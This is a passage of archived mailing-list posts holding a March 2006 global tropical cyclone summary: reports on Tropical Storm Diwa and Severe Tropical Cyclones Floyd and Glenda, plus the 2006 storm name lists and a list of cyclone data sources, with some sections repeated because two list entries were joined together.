a comparable 115 kts, and hurricane-force winds extended outward from the center only about 20 nm. Arguably Floyd may have reached Category 5 intensity on the basis of an infrared image at 23/2330 UTC showing a Data T-number of 6.5. However, images at 23/2130 and 24/0130 UTC showed Data T-numbers of only 5.5 and 5.0, respectively. Floyd slowly weakened as it moved on a southeasterly track towards the northwestern coastline of Western Australia. Microwave imagery showed that Floyd underwent an eyewall replacement cycle on the 24th, culminating around 25/0000 UTC. The cyclone's intensity at that time was still estimated at 90 kts, but Floyd continued to weaken more rapidly thereafter as it encountered increasing upper-level northwesterlies. The storm reached a point about 155 nm northwest of Exmouth at 26/1200 UTC, but had encountered cooler SSTs and strong upper-level winds. A post- cyclone analysis revealed that likely winds were below gale force by 26/1800 UTC, but operationally Floyd was maintained as a tropical cyclone until 0200 UTC on the 27th when it was downgraded to a tropical LOW. A QuikScat image at 26/0925 UTC had indicated that peak winds were barely of gale force. The final advice, issued at 27/0200 UTC, placed the center of the former tropical cyclone to the west-northwest of Exmouth, near 20.9N/111.6E. The remnant LOW continued to drift southwards off the Western Australian coast for a few more days. A graphic depicting the track of Severe Tropical Cyclone Floyd may be found at the following link: C. Damage and Casualties ------------------------ There are no impacts from Tropical Cyclone Floyd, although some economic losses were incurred with the evacuation of some offshore oil and gas installations. (Report based largely on a report received from Joe Courtney of the BoM Perth TCWC) SEVERE TROPICAL CYCLONE GLENDA (TC-20S) 23 - 31 March -------------------------------------------------- A. Introduction and Storm Origins --------------------------------- Glenda was a severe tropical cyclone which followed closely on the heels of Floyd in waters off Western Australia. Whereas Floyd dissipated offshore, Glenda made landfall near Onslow as a Category 3 cyclone (Australian scale) with peak 10-min avg winds estimated near 95 kts. The storm had peaked a couple of days earlier as a Category 5 cyclone but fortunately weakened some as it approached the coast. Glenda had its origins over the Northern Territory. On 20 March a 1004-hPa tropical LOW was located over the Top End near Katherine. This LOW subsequently moved westward and by early on the 22nd had moved out over the Joseph Bonaparte Gulf about 55 nm west of Port Keats. BoM Darwin initiated tropical cyclone advices on the developing system at 2130 UTC on 23 March with the LOW centered on the coast about 45 nm east-northeast of Wyndham. The LOW moved very slowly for a couple of days, remaining in the extreme southern portion of the Joseph Bonaparte Gulf before commencing a westerly heading which took it inland across the extreme northeastern portion of Western Australia. Environmental conditions were very favorable for intensification with a developing anticyclone over the disturbance, providing low vertical shear and good radial outflow. Emerging into the Timor Sea on 26 March, the LOW began to slowly strengthen and BoM Perth began issuing shipping warnings at 26/1500 UTC. The system was then centered approximately 200 nm northeast of Broome and moving west-southwestward at about 4 kts. Associated convection continued to consolidate and JTWC issued their first warning on TC-20S at 27/0000 UTC. Three hours later, Perth upgraded the system to Tropical Cyclone Glenda, centered about 140 nm north of Derby and moving westward at 5 kts. B. Synoptic History ------------------- Once named as a cyclone, Glenda intensified very rapidly. At 27/1200 UTC, only nine hours after being upgraded, Glenda had reached severe tropical cyclone (i.e., hurricane) status with 65-kt winds. The storm embarked on a west-southwesterly track which gradually became more southwesterly. Environmental conditions were very favorable for intensification and Glenda continued to strengthen, reaching its peak intensity of 115 kts at 28/1200 UTC while centered about 245 nm north- northeast of Port Hedland, moving southwestward at 10 kts. (JTWC's peak 1-min avg MSW was 140 kts at 28/1200 UTC.) Glenda's estimated lowest CP was 910 hPa. The storm was being steered by a 500-mb ridge to the southwest over Australia, and as a mid-latitude trough over the west coast of Australia began to create a weakness in the ridge, the cyclone turned to a more southwesterly track toward the northwestern coastline of Western Australia. Fortunately Glenda's strength began to ebb as the dangerous storm neared the coast. By 0800 UTC on 30 March the center of Severe Tropical Cyclone Glenda was beginning to cross the coastline between Onslow and Dampier. The CP was then estimated at 930 hPa and peak gusts near the center were estimated at 135 kts, which translates into a 10-min mean wind of 95 kts. At 30/1200 UTC Glenda's center was located only 20 km east of Onslow and moving south-southwestward at 11 kts. Once inland Glenda's track became more southerly with hints of a recurvature to the south-southeast by the time the final advice was issued at 31/0300 UTC. As is typical with landfalling tropical cyclones, Glenda began to quickly weaken after the center had moved inland. The final BoM advice placed the center of the former tropical cyclone about 250 km south-southeast of Exmouth with a MSW of 30 kts. (Interestingly, JTWC issued their final warning on Glenda with the center barely inland and with the MSW (1-min avg) estimated at 90 kts.) A report on Severe Tropical Cyclone Glenda may be found on BoM's website at the following URL: A graphic depicting the track of Tropical Cyclone Glenda may be found at the following link: C. Damage and Casualties ------------------------ The weakening of the cyclone, coupled with the preparedness of the city of Onslow, helped to avert major damage. The BoM report referenced above seems to be a work in progress, and it is likely that further information will be added after a post-storm analysis is completed. (Report written by Gary Padgett) ************************************************************************* NORTHEAST AUSTRALIA/CORAL SEA (AUE) - From 135E to 160E Activity for March: 1 hybrid storm 2 severe tropical cyclones (hurricanes) ** ** - one of these originated in Fiji's AOR east of 160E NOTE!!! The Northeast Australia/Coral Sea basin will be covered in the second installment of the March summary. ************************************************************************* SOUTH PACIFIC (SPA) - South Pacific Ocean East of Longitude 160E Activity for March: 1 tropical depression 1 tropical cyclone of hurricane intensity ** ** - system spent part of its life west of 160E in Brisbane's AOR NOTE!!! The South Pacific basin will be covered in the second installment of the March summary. ************************************************************************* SPECIAL FEATURE - SOURCES OF TROPICAL CYCLONE INFORMATION The purpose of this section is to list some websites where many and varied types of tropical cyclone information are archived. Many readers will know about these already, but for the benefit of those who don't, I wanted to include them. (1) Aircraft Reconnaissance Information --------------------------------------- Various types of messages from reconnaissance aircraft may be retrieved from the following FTP site: Information regarding how to interpret the coded reconnaissance messages may be found at the following URL: Links are also included to websites with further information about the U. S. Air Force 53rd Weather Reconnaissance Squadron and the NOAA Air- craft Operations Center. (2) Archived Advisories ----------------------- All the advisory products (public advisories, forecast/advisories, strike probabilities, discussions, various graphics) issued by TPC/NHC are archived on TPC's website. For the current year (using 2004 as an example), the archived products can be found at: Links to tropical products archives for earlier years are available at the following URL: JTWC warnings for past storms are archived on the NRL Monterry website: On the NRL site, the link to past years can be found in the upper left corner of the screen. I am not aware at the moment of any other TCWC which archives all its tropical cyclone warning/advisory products for public access, but if I learn of any, I will add them to this list. (3) Satellite Imagery --------------------- Satellite images of tropical cyclones in various sensor bands are available on the NRL Monterrey and University of Wisconsin websites, courtesy of Jeff Hawkins and Chris Velden and their associates. The links are: On the NRL site, the link to past years can be found in the upper left corner of the screen. For the CIMSS site, a link to data archives is located in the lower left portion of the screen. Additional tropical satellite imagery, along with looping ability for composite microwave imagery for the Western Hemisphere north of the equator, can be found at: (1) For the Eastern North Pacific: (2) For the Atlantic, Gulf of Mexico and Caribbean Sea: I'm sure there are other sites with available imagery available, and as I learn of them, I will add the links to this list. ************************************************************************* EXTRA FEATURE In order to shorten the amount of typing in preparing the narrative material, I have been in the habit of freely using abbreviations and acronyms. I have tried to define most of these with the first usage in a given summary, but I may have missed one now and then. Most of these are probably understood by a majority of readers but perhaps a few aren't clear to some. To remedy this I developed a Glossary of Abbreviations and Acronyms which I first included in the August, 1998 summary. I don't normally include the Glossary in most months in order to help keep them from being too long. If anyone would like to receive a copy of the Glossary, please e-mail me and I'll be happy to send them a copy. ************************************************************************* AUTHOR'S NOTE: This summary should be considered a very preliminary overview of the tropical cyclones that occur in each month. The cyclone tracks (provided separately) will generally be based upon operational warnings issued by the various tropical cyclone warning centers. The information contained therein may differ somewhat from the tracking and intensity information obtained from a ""best-track"" file which is based on a detailed post-seasonal analysis of all available data. Information on where to find official ""best-track"" files from the various warning centers will be passed along from time to time. The track files are not being sent via e-mail. They can be retrieved from the archive sites listed below. (Note: I do have a limited e-mail distribution list for the track files. If anyone wishes to receive these via e-mail, please send me a message.) Both the summaries and the track files are standard text files created in DOS editor. Download to disk and use a viewer such as Notepad or DOS editor to view the files. The first summary in this series covered the month of October, 1997. Back issues can be obtained from the following websites (courtesy of Michael Bath, Michael V. Padua, Michael Pitt, Chris Landsea, and John Diebolt): Another website where much information about tropical cyclones may be found is the website for the UK Meteorological Office. Their site contains a lot of statistical information about tropical cyclones globally on a monthly basis. The URL is: TROPICAL CYCLONE REPORTS AVAILABLE JTWC now has available on its website the Annual Tropical Cyclone Report (ATCR) for 2004 (2003-2004 season for the Southern Hemisphere). ATCRs for earlier years are available also. The URL is: Also, TPC/NHC has available on its webpage nice ""technicolor"" tracking charts for the 2005 Atlantic and Eastern North Pacific tropical cyclones; also, storm reports for all the 2005 Atlantic and Eastern North Pacific cyclones are now available, as well as track charts and reports on storms from earlier years. The URL is: A special thanks to Michael Bath of McLeans Ridges, New South Wales, Australia, for assisting me with proofreading the summaries. PREPARED BY Gary Padgett E-mail: garyp@alaweb.com Phone: 334-222-5327 Kevin Boyle (Eastern Atlantic, Western Northwest Pacific, South China Sea) E-mail: newchapelobservatory@btinternet.com Simon Clarke (Northeast Australia/Coral Sea, South Pacific) E-mail: saclarke@iprimus.com.au ************************************************************************* ************************************************************************* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov.",0,1 Gary Padgett ,WX-ATLAN@listserv.uiuc.edu,"Sat, 20 May 2006 19:06:52 -0500",SUMMARY: March TC Summary - Part 1,"MONTHLY GLOBAL TROPICAL CYCLONE SUMMARY MARCH, 2006 First Installment (For general comments about the nature of these summaries, as well as information on how to download the tabular cyclone track files, see the Author's Note at the end of this summary.) SPECIAL NOTE: The March summary is being issued in two installments. The first covers the Southwest Indian Ocean and Northwest Australia/ Southeast Indian Ocean basins. The second installment will cover the Northwest Pacific, South Pacific and Northeast Australia/Coral Sea basins. SPECIAL NOTE #2: TPC/NHC now has all the storm reports and the track chart for the 2005 Atlantic and Eastern North Pacific seasons available online. Links to the reports and track charts may be accessed at the following URLs: Also, the Central Pacific Hurricane Center has available online their annual summary for the 2005 tropical cyclone season in that region. The link is: And finally, the Canadian Hurricane Centre has a summary available of the 2005 tropical cyclones which entered their Response Zone. This summary may be accessed at: ************************************************************************* MARCH HIGHLIGHTS --> Two severe tropical cyclones form off Western Australia--one makes landfall --> Very destructive tropical cyclone strikes Queensland --> Another severe tropical cyclone in Coral Sea recurves away from Australia ************************************************************************* ********** EXTRA FEATURE ********** WESTERN HEMISPHERE TROPICAL CYCLONE NAMES for 2006 Tropical cyclones in the Atlantic Ocean, Gulf of Mexico, and Caribbean Sea are assigned names by the Tropical Prediction Center/ National Hurricane Center in Miami, Florida. A separate alphabetical set of alternating male/female names is used each year with the name of the first tropical storm beginning with the letter ""A"". Names are repeated every six years. The names of hurricanes which cause a lot of damage and/or fatalities are usually retired from the list with another name of the same alphabetical rank and gender replacing it. Following the 2005 season, the names Dennis, Katrina, Rita, Stan and Wilma were retired and have been replaced in the list for 2011 with Don, Katia, Rina, Sean and Whitney, respectively. It seemed likely that Emily also would have been retired, but Mexico did not request it, so Emily remains in the list for 2011. The highest number of tropical storms named in one season in the Atlantic was 27 during the incredibly active 2005 season, which has become the most active Atlantic tropical cyclone season on record. Other very active seasons include 1887 (19 storms), 1933 (21 storms), 1969 (18 storms) and 1995 (19 storms). The list of names for 2006 is the same one used during the active hurricane season of 2000 when fourteen tropical cyclones were named, down through Nadine. The only name retired after the 2000 season was Keith, and that name has been replaced with Kirk in the 2006 list. TPC/NHC also has warning responsibility for the Eastern North Pacific Ocean from the west coast of Mexico out to longitude 140W. Six separate alphabetical sets of names are used for this basin in the same manner as in the Atlantic. Initially, the Eastern Pacific name sets contained only 21 names, omitting ""Q"" and ""U"" and ending with the letter ""W"", as in the Atlantic. When the active 1985 season threatened to exhaust the list, the names Xina, York and Zelda were drafted to accommodate any additional storms which might develop. (Hurricane Xina was named in late October, 1985.) The decision was made sometime in the latter 1980s to extend the list with these three names in odd-numbered years, and to add the names Xavier, Yolanda and Zeke in even-numbered years (to preserve the alternating gender scheme). During the Northeast Pacific's year of record activity in 1992, all 24 names were allotted to tropical cyclones forming east of 140W, ending with Tropical Storm Zeke in late October. Had more storms developed, they would have been named with the letters of the Greek alphabet (Alpha, Beta, etc), which is also the backup plan for the Atlantic basin in case more than 21 tropical storms develop in a single season. The list for this year was last used in 2000 when seventeen tropical cyclones were named, the last one being Rosa. The most active season to utilize this set of names was in 1982, when 19 cyclones were named, down through Tara. The Central Pacific Hurricane Center, located in Honolulu, has tropical cyclone warning responsibility for that portion of the North Pacific Ocean lying between longitudes 140W and 180. The majority of the tropical storms and hurricanes seen in that region are visitors from east of 140W, but on the average about one tropical storm forms in the Central Pacific each year, and when this happens, the storm is given a Hawaiian name. The list consists of four sets of twelve names each, using only the letters of the Hawaiian alphabet. All the names are used--the first storm to form in a given year is assigned the next available name on the list. No tropical cyclones were named by CPHC in 2003 or in 2004. The last storm to form in Central Pacific waters was Hurricane Huko in late October, 2002, so the next name to be assigned will be Ioke. Names for 2006 are (** indicates name has already been assigned): ATLANTIC EASTERN PACIFIC CENTRAL PACIFIC Alberto Leslie Aletta Miriam Ioke Beryl Michael Bud Norman Kika Chris Nadine Carlotta Olivia Lana Debby Oscar Daniel Paul Maka Ernesto Patty Emilia Rosa Neki Florence Rafael Fabio Sergio Oleka Gordon Sandy Gilma Tara Peni Helene Tony Hector Vicente Ulia Isaac Valerie Ileana Willa Wali Joyce William John Xavier Ana Kirk Kristy Yolanda Ela Lane Zeke Halola ************************************************************************* ACTIVITY BY BASINS ATLANTIC (ATL) - North Atlantic Ocean, Caribbean Sea, Gulf of Mexico Activity for March: No tropical cyclones ************************************************************************* NORTHEAST PACIFIC (NEP) - North Pacific Ocean East of Longitude 180 Activity for March: No tropical cyclones ************************************************************************* NORTHWEST PACIFIC (NWP) - North Pacific Ocean West of Longitude 180 Activity for March: 1 tropical storm ** ** - treated as a tropical storm by JTWC only NOTE!!! The Northwest Pacific basin will be covered in the second installment of the March summary. ************************************************************************* NORTH INDIAN OCEAN (NIO) - Bay of Bengal and Arabian Sea Activity for March: No tropical cyclones ************************************************************************* SOUTHWEST INDIAN OCEAN (SWI) - South Indian Ocean West of Longitude 90E Activity for March: 1 tropical disturbance 1 tropical storm Sources of Information ---------------------- The primary sources of tracking and intensity information for Southwest Indian Ocean tropical cyclones are the warnings issued by the Tropical Cyclone Warning Centre on La Reunion Island, part of Meteo France (MFR), and the Regional Specialised Meteorological Centre for the basin. However, tropical cyclones in this region are named by the Sub-regional Tropical Cyclone Advisory Centres in Mauritius and Madagascar with longitude 55E being the demarcation line between their respective areas of naming responsibility. The La Reunion centre only advises these agencies regarding the intensity of tropical systems. References to sustained winds imply a 10-minute averaging period unless otherwise stated. In the companion tropical cyclone tracks file, I occasionally annotate positions from warnings issued by the Joint Typhoon Warning Center (JTWC) of the U. S. Air Force and Navy, located at Pearl Harbor, Hawaii, when they differ from MFR's coordinates by usually 40-50 nm or more. The JTWC warnings are also the source of the 1-minute average maximum sustained wind values included in the tracks file. Additionally, information describing details of satellite imagery and atmospheric circulation features included in the narratives is often gleaned from the JTWC warnings. Southwest Indian Ocean Tropical Activity for March -------------------------------------------------- Three tropical systems were in warning status during the month of March in the Southwest Indian Ocean basin, all during the first part of the month. Intense Tropical Cyclone Carina was near its peak intensity over the east-central portion of the basin on 1 March, but encountered a hostile environment which led to its very rapid weakening and dissipation by 3 March. The report on Carina may be found in the February summary. Severe Tropical Storm Diwa operated from the 2nd until the 10th over the western portion of the basin, passing southward between the Mascarene Islands (Reunion and Mauritius) and Madagascar. Diwa originated as a large, sloppily-organized monsoon depression which gradually acquired tropical storm characteristics. A report on Diwa follows. Meteo France on La Reunion (MFR) issued two warnings on another system, numbered as Tropical Disturbance 12. At 0600 UTC on 4 March this disturbance was centered approximately 200 north-northeast of Tromelin Island, or about 335 nm due north of the center of Tropical Storm Diwa. Peak 10-min avg winds were estimated at 25 kts, locally reaching 30 kts in squalls. The system moved rapidly southeastward around the north- eastern periphery of Diwa, and the second and final MFR warning at 1200 UTC placed the center of the disturbance about 190 nm east of Tromelin and about 240 nm northeast of Diwa's center. No more warnings were issued, and due to the large size of the circulation around Diwa, it is assumed that the weak Tropical Disturbance 12 was absorbed into the circulation of the tropical storm. A graphic depicting the track of Tropical Disturbance 12 and Tropical Storm Diwa may be found at the following link: TROPICAL STORM DIWA (MFR-11 / TC-16S) 2 - 10 March --------------------------------------- Diwa: contributed by Malawi A. Introduction and Storm Origins --------------------------------- Tropical Storm Diwa was a large, odd tropical storm which occupied the first week of March moving slowly southward through the Southwest Indian Ocean between Madagascar and the Mascarene Islands. Diwa was in its early stages actually a monsoon depression which developed gales along its periphery. In the author's opinion, the Meteorological Service of Mauritius is to be commended for assigning a name and treating the system as a tropical storm when it was apparent it was intensifying and becoming an increasing threat. Another unusual feature of Tropical Storm Diwa was that it achieved its peak intensity and most tropical-like structure after moving into subtropical latitudes--something rarely seen in the Southwest Indian basin. MFR issued their first warning on the pre-Diwa system at 0600 UTC on 2 March, calling it simply a ""zone of disturbed weather"" located about 175 nm southeast of the island of Agalega. Around the same time JTWC included the disturbance in a STWO, noting that it was a elongated LLCC embedded within the monsoon trough east of Madagascar. Convection had been increasing near the low-level disturbance, and an upper-level ridge axis to the north was helping to provide an environment of low vertical shear and favorable diffluence aloft. On their second bulletin, issued at 02/1200 UTC, MFR upgraded the area to Tropical Disturbance 11 with winds estimated at 25 kts. St. Brandon, well to the southeast, reported 10-min avg winds of 35 kts with a SLP of 1002 hPa at 02/2100 UTC. JTWC upgraded the development potential to 'fair' at 1800 UTC since convection was persisting near the LLCC. B. Synoptic History ------------------- MFR upgraded the disturbance to a 30-kt tropical depression at 0600 UTC on 3 March, and at 1200 UTC the system was upgraded to Tropical Storm Diwa, centered at the time about 125 nm west of St. Brandon. The MFR warning noted that the system had a monsoon depression structure with weak winds near the center but with gales, locally reaching 40 kts, over 100 nm from the center in the eastern semicircle under the convective bands. JTWC issued a TCFA at 03/2100 UTC and the first warning on TC-16S followed at 04/0000 UTC. In its formative stages Diwa had moved basically to the south, but by now was moving on a slow southwesterly track under the influence of ridging to the southeast. After having reached tropical storm intensity, however, the storm did not strengthen significantly during the next three days. By the 5th Diwa had turned to the south, although it made a jog to the southwest on the 6th. Tropical Storm Diwa passed about 200 nm west of Mauritius around 0900 UTC on 5 March and about 100 nm west of Reunion Island around 1500 UTC the same day. Earlier on 3 March, while Diwa's center was a little less than 200 nm northwest of Mauritius, a wind gust to 59 kts was recorded at 2130 UTC at Savannah, a location in the southeastern part of Mauritius near L'Escalier. (This observation, as well as the earlier one taken from St. Brandon, was sent by Patrick Hoareau.) After the aforementioned jog to the southwest, Diwa's motion became primarily south-southeastward ahead of an approaching baroclinic zone. The storm gradually began to strengthen--the MSW was upped to 40 kts at 06/0600 UTC and to 50 kts at 07/0000 UTC. Diwa was experiencing favorable poleward and equatorward outflow with the deepest convection located in the southeastern quadrant. Both JTWC and MFR upped their respective MSW estimates to 55 kts at 0600 UTC 8 March. Diwa by this time was tracking southeastward at 15 kts along the southwestern periphery of a mid-level ridge to the east. The tropical storm was beginning to interact with a baroclinic zone to the south, but enhanced poleward outflow was leading to an increase in convection. Based upon MFR's analysis, Severe Tropical Storm Diwa reached its peak intensity of 60 kts (10-min avg) at 08/1200 UTC while centered approximately 475 nm south-southeast of Reunion Island. MFR maintained Diwa at 60 kts for the next warning at 1800 UTC, but JTWC issued their final warning at that time, deeming extratropical transition to be well under way and estimating the intensity at only 35 kts. Six hours later MFR classified Diwa as a 55-kt extratropical storm but continued to issue warnings for the next 36 hours as ex-Diwa continued to track off into the subtropical South Indian Ocean. The final MFR warning, issued at 10/1200 UTC, placed a weakening 40-kt center a little more than 1300 nm southeast of Reunion Island. A graphic depicting the track of Severe Tropical Storm Diwa may be found at the following link: C. Damage and Casualties ------------------------ No reports of damage or casualties resulting from Tropical Storm Diwa have been received. (Report written by Gary Padgett) ************************************************************************* NORTHWEST AUSTRALIA/SOUTHEAST INDIAN OCEAN (AUW) - From 90E to 135E Activity for March: 2 tropical LOWs 2 severe tropical cyclones (hurricanes) Sources of Information ---------------------- The primary sources of tracking and intensity information for Northwest Australia/Southeast Indian Ocean tropical cyclones are the warnings and advices issued by the Tropical Cyclone Warning Centres at Perth, Western Australia, and Darwin, Northern Territory. References to sustained winds imply a 10-minute averaging period unless otherwise stated. In the companion tropical cyclone tracks file, I occasionally annotate positions from warnings issued by the Joint Typhoon Warning Center (JTWC) of the U. S. Air Force and Navy, located at Pearl Harbor, Hawaii, when they differ from the Australian centres' coor- dinates by usually 40-50 nm or more. The JTWC warnings are also the source of the 1-minute average maximum sustained wind values included in the tracks file. Additionally, information describing details of satellite imagery and atmospheric circulation features included in the narratives is often gleaned from the JTWC warnings. Northwest Australia/Southeast Indian Ocean Tropical Activity for March ------------------------------------------ After a rather quiet February in which only one minor tropical cyclone (Emma) formed, the tropical seas off northern and northwestern Australia became quite active during March. Four tropical LOWs were tracked by the Darwin and Perth TCWCs with two of these becoming the very intense cyclones Floyd and Glenda. Reports on these two severe tropical cyclones follow. A weak tropical LOW formed late on 28 February just west of the Indonesian island of Jamdena, where the Arafura and Banda Seas meet. During the first week of March this system drifted southwestward, then erratically westward, crossing the island of Timor and passing south of Sumba. By 5 March the westward motion ceased and the LOW turned toward the southeast toward the Kimberley region of Western Australia. The highest MSW estimated for this LOW was 30 kts briefly on 2 March; the remainder of the time peak winds were estimated at only 25 kts. Gale warnings were issued by Darwin and Perth in the anticipation that the LOW would strengthen into a tropical cyclone. This failed to materialize, however, and the final gale warning by BoM Perth was issued at 0400 UTC on 7 March. By 0400 UTC on 8 March the weakening LOW was inland in the Kimberley region. A graphic depicting the operational track of this tropical LOW may be found at the following link: The Perth TCWC also issued several gale warnings in late March for a tropical LOW which formed over waters southwest of Christmas Island and east of the Cocos Islands. The first warning was issued at 0300 UTC on 26 March and the system subsequently drifted pretty much due southward. The final gale warning was issued by Perth at 27/0600 UTC, but the remnant LOW continued to generate some Dvorak ratings of T2.5/2.5 by various agencies until early on the 29th. A very broad cyclonic circulation existed in the area with possible multiple LLCCs, and there were considerable differences in the center fixes from the satellite analysis agencies. Disturbed weather continued in the region for several days, and during the first week of April another LOW developed which ultimately became Tropical Storm Elia in the Southwest Indian Ocean basin. There does not appear to be, however, any direct continuity between the late March tropical LOW and the LLCC which became Elia. A graphic depicting the operational track of the late March tropical LOW may be found at the following link: SEVERE TROPICAL CYCLONE FLOYD (TC-19S) 19 - 27 March ------------------------------------------------- (Editor's Note: The following report on Severe Tropical Cyclone Floyd is based largely on a preliminary report on this storm written and sent to the author by Joe Courtney, a forecaster at the Perth TCWC. A very big thanks to Joe for sending the report.) A. Introduction --------------- Floyd was a midget tropical cyclone that reached top-end Category 4 (Australian cyclone scale) intensity before rapidly weakening under northwesterly shear. Tropical cyclone advices were issued for the western Pilbara region and for upper western coastal areas of Western Australia as Floyd approached, but the system weakened and remained offshore and did not impact coastal parts. Floyd did have an economic impact as some resource companies evacuated offshore oil and gas installations. B. Origins and Synoptic History ------------------------------- A tropical LOW developed on 18 March south of the Indonesian island of Sumba and moved to the west to southwest, gradually strengthening. The LOW is estimated to have reached cyclone intensity around 2100 UTC on 20 March while located roughly 450 nm west-northwest of Cape Leveque. The moderate easterly shear on the 21st gradually eased and Floyd developed rapidly later on the 22nd, reaching Category 3 (65 kts) intensity around 23/0000 UTC while located about 560 nm north-northwest of Exmouth. Infrared satellite imagery on the 22nd had revealed very cold cloud tops. Severe Tropical Cyclone Floyd reached its maximum intensity of 105 kts at 24/0000 UTC, centred approximately 530 nm northwest of Exmouth. The cyclone at the time was making a turn to the south due to the approach of a mid-latitude trough. The eye of the system was very small with a diameter of about 10-15 nm, and the minimum CP was estimated at 915 hPa. JTWC's peak 1-min avg MSW was a comparable 115 kts, and hurricane-force winds extended outward from the center only about 20 nm. Arguably Floyd may have reached Category 5 intensity on the basis of an infrared image at 23/2330 UTC showing a Data T-number of 6.5. However, images at 23/2130 and 24/0130 UTC showed Data T-numbers of only 5.5 and 5.0, respectively. Floyd slowly weakened as it moved on a southeasterly track towards the northwestern coastline of Western Australia. Microwave imagery showed that Floyd underwent an eyewall replacement cycle on the 24th, culminating around 25/0000 UTC. The cyclone's intensity at that time was still estimated at 90 kts, but Floyd continued to weaken more rapidly thereafter as it encountered increasing upper-level northwesterlies. The storm reached a point about 155 nm northwest of Exmouth at 26/1200 UTC, but had encountered cooler SSTs and strong upper-level winds. A post- cyclone analysis revealed that likely winds were below gale force by 26/1800 UTC, but operationally Floyd was maintained as a tropical cyclone until 0200 UTC on the 27th when it was downgraded to a tropical LOW. A QuikScat image at 26/0925 UTC had indicated that peak winds were barely of gale force. The final advice, issued at 27/0200 UTC, placed the center of the former tropical cyclone to the west-northwest of Exmouth, near 20.9N/111.6E. The remnant LOW continued to drift southwards off the Western Australian coast for a few more days. A graphic depicting the track of Severe Tropical Cyclone Floyd may be found at the following link: C. Damage and Casualties ------------------------ There are no impacts from Tropical Cyclone Floyd, although some economic losses were incurred with the evacuation of some offshore oil and gas installations. (Report based largely on a report received from Joe Courtney of the BoM Perth TCWC) SEVERE TROPICAL CYCLONE GLENDA (TC-20S) 23 - 31 March -------------------------------------------------- A. Introduction and Storm Origins --------------------------------- Glenda was a severe tropical cyclone which followed closely on the heels of Floyd in waters off Western Australia. Whereas Floyd dissipated offshore, Glenda made landfall near Onslow as a Category 3 cyclone (Australian scale) with peak 10-min avg winds estimated near 95 kts. The storm had peaked a couple of days earlier as a Category 5 cyclone but fortunately weakened some as it approached the coast. Glenda had its origins over the Northern Territory. On 20 March a 1004-hPa tropical LOW was located over the Top End near Katherine. This LOW subsequently moved westward and by early on the 22nd had moved out over the Joseph Bonaparte Gulf about 55 nm west of Port Keats. BoM Darwin initiated tropical cyclone advices on the developing system at 2130 UTC on 23 March with the LOW centered on the coast about 45 nm east-northeast of Wyndham. The LOW moved very slowly for a couple of days, remaining in the extreme southern portion of the Joseph Bonaparte Gulf before commencing a westerly heading which took it inland across the extreme northeastern portion of Western Australia. Environmental conditions were very favorable for intensification with a developing anticyclone over the disturbance, providing low vertical shear and good radial outflow. Emerging into the Timor Sea on 26 March, the LOW began to slowly strengthen and BoM Perth began issuing shipping warnings at 26/1500 UTC. The system was then centered approximately 200 nm northeast of Broome and moving west-southwestward at about 4 kts. Associated convection continued to consolidate and JTWC issued their first warning on TC-20S at 27/0000 UTC. Three hours later, Perth upgraded the system to Tropical Cyclone Glenda, centered about 140 nm north of Derby and moving westward at 5 kts. B. Synoptic History ------------------- Once named as a cyclone, Glenda intensified very rapidly. At 27/1200 UTC, only nine hours after being upgraded, Glenda had reached severe tropical cyclone (i.e., hurricane) status with 65-kt winds. The storm embarked on a west-southwesterly track which gradually became more southwesterly. Environmental conditions were very favorable for intensification and Glenda continued to strengthen, reaching its peak intensity of 115 kts at 28/1200 UTC while centered about 245 nm north- northeast of Port Hedland, moving southwestward at 10 kts. (JTWC's peak 1-min avg MSW was 140 kts at 28/1200 UTC.) Glenda's estimated lowest CP was 910 hPa. The storm was being steered by a 500-mb ridge to the southwest over Australia, and as a mid-latitude trough over the west coast of Australia began to create a weakness in the ridge, the cyclone turned to a more southwesterly track toward the northwestern coastline of Western Australia. Fortunately Glenda's strength began to ebb as the dangerous storm neared the coast. By 0800 UTC on 30 March the center of Severe Tropical Cyclone Glenda was beginning to cross the coastline between Onslow and Dampier. The CP was then estimated at 930 hPa and peak gusts near the center were estimated at 135 kts, which translates into a 10-min mean wind of 95 kts. At 30/1200 UTC Glenda's center was located only 20 km east of Onslow and moving south-southwestward at 11 kts. Once inland Glenda's track became more southerly with hints of a recurvature to the south-southeast by the time the final advice was issued at 31/0300 UTC. As is typical with landfalling tropical cyclones, Glenda began to quickly weaken after the center had moved inland. The final BoM advice placed the center of the former tropical cyclone about 250 km south-southeast of Exmouth with a MSW of 30 kts. (Interestingly, JTWC issued their final warning on Glenda with the center barely inland and with the MSW (1-min avg) estimated at 90 kts.) A report on Severe Tropical Cyclone Glenda may be found on BoM's website at the following URL: A graphic depicting the track of Tropical Cyclone Glenda may be found at the following link: C. Damage and Casualties ------------------------ The weakening of the cyclone, coupled with the preparedness of the city of Onslow, helped to avert major damage. The BoM report referenced above seems to be a work in progress, and it is likely that further information will be added after a post-storm analysis is completed. (Report written by Gary Padgett) ************************************************************************* NORTHEAST AUSTRALIA/CORAL SEA (AUE) - From 135E to 160E Activity for March: 1 hybrid storm 2 severe tropical cyclones (hurricanes) ** ** - one of these originated in Fiji's AOR east of 160E NOTE!!! The Northeast Australia/Coral Sea basin will be covered in the second installment of the March summary. ************************************************************************* SOUTH PACIFIC (SPA) - South Pacific Ocean East of Longitude 160E Activity for March: 1 tropical depression 1 tropical cyclone of hurricane intensity ** ** - system spent part of its life west of 160E in Brisbane's AOR NOTE!!! The South Pacific basin will be covered in the second installment of the March summary. ************************************************************************* SPECIAL FEATURE - SOURCES OF TROPICAL CYCLONE INFORMATION The purpose of this section is to list some websites where many and varied types of tropical cyclone information are archived. Many readers will know about these already, but for the benefit of those who don't, I wanted to include them. (1) Aircraft Reconnaissance Information --------------------------------------- Various types of messages from reconnaissance aircraft may be retrieved from the following FTP site: Information regarding how to interpret the coded reconnaissance messages may be found at the following URL: Links are also included to websites with further information about the U. S. Air Force 53rd Weather Reconnaissance Squadron and the NOAA Air- craft Operations Center. (2) Archived Advisories ----------------------- All the advisory products (public advisories, forecast/advisories, strike probabilities, discussions, various graphics) issued by TPC/NHC are archived on TPC's website. For the current year (using 2004 as an example), the archived products can be found at: Links to tropical products archives for earlier years are available at the following URL: JTWC warnings for past storms are archived on the NRL Monterry website: On the NRL site, the link to past years can be found in the upper left corner of the screen. I am not aware at the moment of any other TCWC which archives all its 